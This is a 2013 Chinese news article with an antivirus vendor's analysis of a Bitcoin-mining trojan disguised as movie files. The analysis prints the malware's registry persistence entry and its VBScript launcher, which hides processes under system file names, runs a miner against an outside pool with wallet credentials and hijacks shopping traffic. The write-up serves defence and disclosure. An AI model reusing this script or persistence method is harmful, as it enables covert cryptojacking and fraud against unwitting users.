比特幣木馬機(jī)理詳解

作者：佚名 2013-06-07 12:34:00

黑客入侵別人電腦難道只是為了生產(chǎn)看不見摸不著的比特幣嗎？我們搜索與比特幣有關(guān)的新聞發(fā)現(xiàn)，這個(gè)不為公眾所知的全球性虛擬貨幣身價(jià)不菲。在過(guò)去的三年里，比特幣的價(jià)格上漲了5000倍。2010年，比特幣剛誕生時(shí)，1比特幣僅值5美分，三年里一度沖上266美元，今天比特幣兌美元的匯率是1：122

6月5日，金山毒霸安全中心宣布截獲國(guó)內(nèi)首個(gè)比特幣（一種全球流通的網(wǎng)絡(luò)虛擬貨幣）挖礦木馬，該木馬偽裝成熱門青春勵(lì)志電影《中國(guó)合伙人》視頻傳播，黑客控制中毒電腦制造比特幣牟利。很多人表示無(wú)法理解，黑客入侵別人電腦難道只是為了生產(chǎn)看不見摸不著的比特幣嗎？

金山毒霸安全專家表示，有時(shí)很難理解病毒作者的行為。不過(guò)，我們搜索與比特幣有關(guān)的新聞卻發(fā)現(xiàn)，這個(gè)不為公眾所知的全球性虛擬貨幣身價(jià)不菲。在過(guò)去的三年里，比特幣的價(jià)格上漲了5000倍。2010年，比特幣剛誕生時(shí)，1比特幣僅值5美分，三年里一度沖上266美元，今天比特幣兌美元的匯率是1：122

圖1 比特幣最新匯率

有關(guān)比特幣的討論引起各界關(guān)注，6月5日，美聯(lián)儲(chǔ)副主席珍妮特・耶倫(Janet Yellen)在國(guó)際貨幣基金組織(IMF)年會(huì)上表示，美國(guó)政府正在研究PayPal（注：類似于支付寶的線上支付工具）和比特幣等在線支付機(jī)制的潛在風(fēng)險(xiǎn)。全球最著名的盜版組織海盜灣的創(chuàng)始人Falkvinge在2011年將全部身家兌換成比特幣，他在最新發(fā)表的文章中指出比特幣是唯一可以挑戰(zhàn)美國(guó)霸權(quán)地位的東西。

有國(guó)內(nèi)金融專家認(rèn)為比特幣不屬于真正意義上的貨幣，只是一種數(shù)量有限的電子商品。制造比特幣被形象的比喻為挖礦，將比特幣看成是人為創(chuàng)造的一座礦藏，屬于有限資源（根據(jù)比特幣算法，最多只有2100萬(wàn)個(gè)），人人都可以挖，誰(shuí)挖到算誰(shuí)的。

圖2 利用高性能顯卡GPU挖礦

比特幣在中國(guó)也剛剛為人所知，在淘寶網(wǎng)能搜索到1200件與“比特幣”有關(guān)的商品，甚至有的網(wǎng)店開始接收比特幣購(gòu)物。雅安地震時(shí)，壹基金就接收了233個(gè)比特幣的捐款（當(dāng)時(shí)價(jià)值約22萬(wàn)人民幣）。

一臺(tái)性能普通的計(jì)算機(jī)生產(chǎn)比特幣大概只能收獲0.12美元，而采用高性能GPU顯卡的電腦挖礦效率會(huì)高得多。有人計(jì)算，一個(gè)單 AMD Radeon 6750 顯卡，每月可賺取3個(gè)比特幣。黑客如果使用木馬控制1000臺(tái)這樣的計(jì)算機(jī)，每月就能賺取3000 比特幣，市值約36 萬(wàn)美元。

“不為常人所知的比特幣，成了真正的金礦，令不少人砰然心動(dòng)。”金山毒霸安全專家這樣說(shuō)，“我們截獲的這個(gè)比特幣礦工病毒大約感染了1500臺(tái)計(jì)算機(jī)。分析發(fā) 現(xiàn)，這款比特幣礦工病毒，只調(diào)用顯卡的高性能GPU（顯卡主芯片）生產(chǎn)比特幣，未調(diào)用CPU資源生產(chǎn)，因而一般用戶并不會(huì)覺(jué)得系統(tǒng)性能下降。如果這個(gè)用戶是高分辨率3D游戲玩家，就會(huì)感到游戲卡頓。”

圖3 金山毒霸在電腦中檢測(cè)到比特幣礦工

金山毒霸安全專家建議用戶檢查自己的電腦是否被比特幣礦工木馬入侵，盡管這款病毒沒(méi)有其他破壞行為，但長(zhǎng)時(shí)間挖礦對(duì)GPU的消耗可能令顯卡溫度過(guò)高。另外，這個(gè)病毒還會(huì)劫持淘寶客流量，在中毒電腦上發(fā)生的每一筆淘寶交易都會(huì)給病毒作者支付酬金，淘寶店主會(huì)成為該病毒的另一個(gè)受害者。

附：比特幣礦工病毒分析報(bào)告

一、樣本信息：

母體樣本（偽裝為熱門電影）通過(guò)bt種子傳播。（中國(guó)合伙人，星際迷航：暗黑無(wú)界等）騙取用戶點(diǎn)擊運(yùn)行。用戶中招后，病毒會(huì)向windows目錄下釋放 csrss.exe，svchost.exe，lsass.exe 等病毒文件。進(jìn)行淘寶客劫持、刷網(wǎng)站流量、挖bit幣等行為。

病毒工作流程圖：

流程圖

母體：

病毒母體通過(guò)BT種子傳播，偽裝為電影文件，程序的圖標(biāo)也偽裝為播放器圖標(biāo)。病毒母體通過(guò)末尾overlay填充0進(jìn)行膨脹，使得病毒母體達(dá)800M的體積，迷惑用戶認(rèn)為這個(gè)程序?yàn)檎ｋ娪啊?/p>

[[74508]]

解壓后的文件

母體行為較為簡(jiǎn)單，大致分為3個(gè)行為：

1.釋放病毒文件至Windows目錄。

運(yùn)行后會(huì)將csrss.exe，svchost.exe，lsass.exe （這些文件為與系統(tǒng)同名的病毒文件）等病毒文件釋放至Windows目錄下。

2.設(shè)置啟動(dòng)項(xiàng)

將csrss文件加入到啟動(dòng)項(xiàng)中，此步驟和上一步驟都是用了smart install方法。將釋放的文件和需要修改的注冊(cè)表都寫在了配置文件中，當(dāng)做安裝程序一樣修改注冊(cè)表，釋放文件。

3.彈框提示用戶此視頻無(wú)法播放

此程序會(huì)彈出窗口，提示用戶，此文件無(wú)法播放，從而隱蔽自己。

運(yùn)行后彈出窗口

病毒子體：

母體釋放的主要的病毒子體為csrss.exe，svchost.exe，lsass.exe。病毒文件csrss.exe（偽裝后的名稱）為主要調(diào)動(dòng)程序，負(fù)責(zé)調(diào)用svchost.exe（病毒，刷淘寶客）和lsass.exe（病毒，用于刷bit幣，挖礦工具）。（后文都用 csrss.exe, svchost.exe, lsass.exe 這三個(gè)名字代表這三個(gè)病毒文件，切勿與系統(tǒng)文件混淆，特此聲明）。其余文件為挖礦程序的附加程序。

病毒母體釋放文件

Csrss.exe

被設(shè)置為自啟動(dòng)項(xiàng)，啟動(dòng)后解密自身資源中的腳本，運(yùn)行腳本。調(diào)用svchost和lsass.exe兩個(gè)程序進(jìn)行刷淘寶客和bit幣，后臺(tái)訪問(wèn)51yingshi刷流量。

自啟動(dòng)項(xiàng)：

[HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon] 
"Shell"="explorer.exe,C:\\Windows\\csrss.exe"

生成的腳本內(nèi)容：

Dim WS 
 
Dim IE 
 
Dim Num 
 
Dim Lsass(2) 
 
Set WS=WScript.CreateObject("WScript.Shell") 
 
Set IE=Createobject("InternetExplorer.Application") 
 
Randomize 
 
Num=Int(2*Rnd+1) 
 
Lsass(1)="--url http://51wakuang.net:9332 --user1ByRGxLJHempFNi7JyTspXG3oFyrp7GHFH --pass P@ssw0rd --auto-fan --auto-gpu" 
 
Lsass(2)="--scrypt --url http://51wakuang.net:9327 --userLQYU5RGhvCVUBePSfAfAcsLkt5XSi1EgBQ--pass P@ssw0rd --auto-fan --auto-gpu" 
 
IE.Visible=Flase 
 
IE.Navigate "http://www.51yingshi.net" 
 
WS.Run "C:\Windows\svchost.exe15653040_3457137_11236246",0,False 
 
WS.Run "C:\Windows\lsass.exe"&Lsass(Num)&"",0,False

簡(jiǎn)單的解釋一下這段代碼的含義：

本段代碼有3個(gè)作用，調(diào)用lsass.exe進(jìn)行刷bit幣，調(diào)用svchost刷淘寶客，訪問(wèn)

創(chuàng)建一個(gè)wscript.shell對(duì)象WS，ws對(duì)象運(yùn)行兩個(gè)命令。

（1）

WS.Run "C:\Windows\svchost.exe15653040_3457137_11236246",0,False

這里調(diào)用svchost，進(jìn)行刷淘寶客。后面標(biāo)紅的參數(shù)15653040_3457137_11236246為PID。

WS.Run "C:\Windows\lsass.exe"&Lsass(Num)&"",0,False

執(zhí)行l(wèi)sass程序進(jìn)行刷bit幣，后面的登錄賬號(hào)有兩個(gè)選擇，每次隨即抽取。

Lsass(1)="--url http://51wakuang.net:9332 --user1ByRGxLJHempFNi7JyTspXG3oFyrp7GHFH --pass P@ssw0rd --auto-fan --auto-gpu" 
Lsass(2)="--scrypt --url http://51wakuang.net:9327 --userLQYU5RGhvCVUBePSfAfAcsLkt5XSi1EgBQ--pass P@ssw0rd --auto-fan --auto-gpu"

同樣，病毒創(chuàng)建了一個(gè)IE對(duì)象，后臺(tái)默默訪問(wèn)www.51yingshi.net。瀏覽器設(shè)置為隱藏。

代碼如下：

IE.Visible=Flase 
IE.Navigate "http://www.51yingshi.net"

Lsass.exe

此文件原名為cgminer，是一個(gè)公開的挖礦軟件，與此軟件一起的文件有12個(gè)（包含一個(gè)文件夾）。其中l(wèi)sass用于gpu挖礦，lsass-nogpu用于cpu挖礦。病毒作者這里只調(diào)用了lsass，利用Gpu挖礦，沒(méi)有利用cpu進(jìn)行挖礦。原因可能是cpu完礦的效率很低。本文最后附屬cpu 、gpu挖礦效率對(duì)比。

挖礦文件列表如下：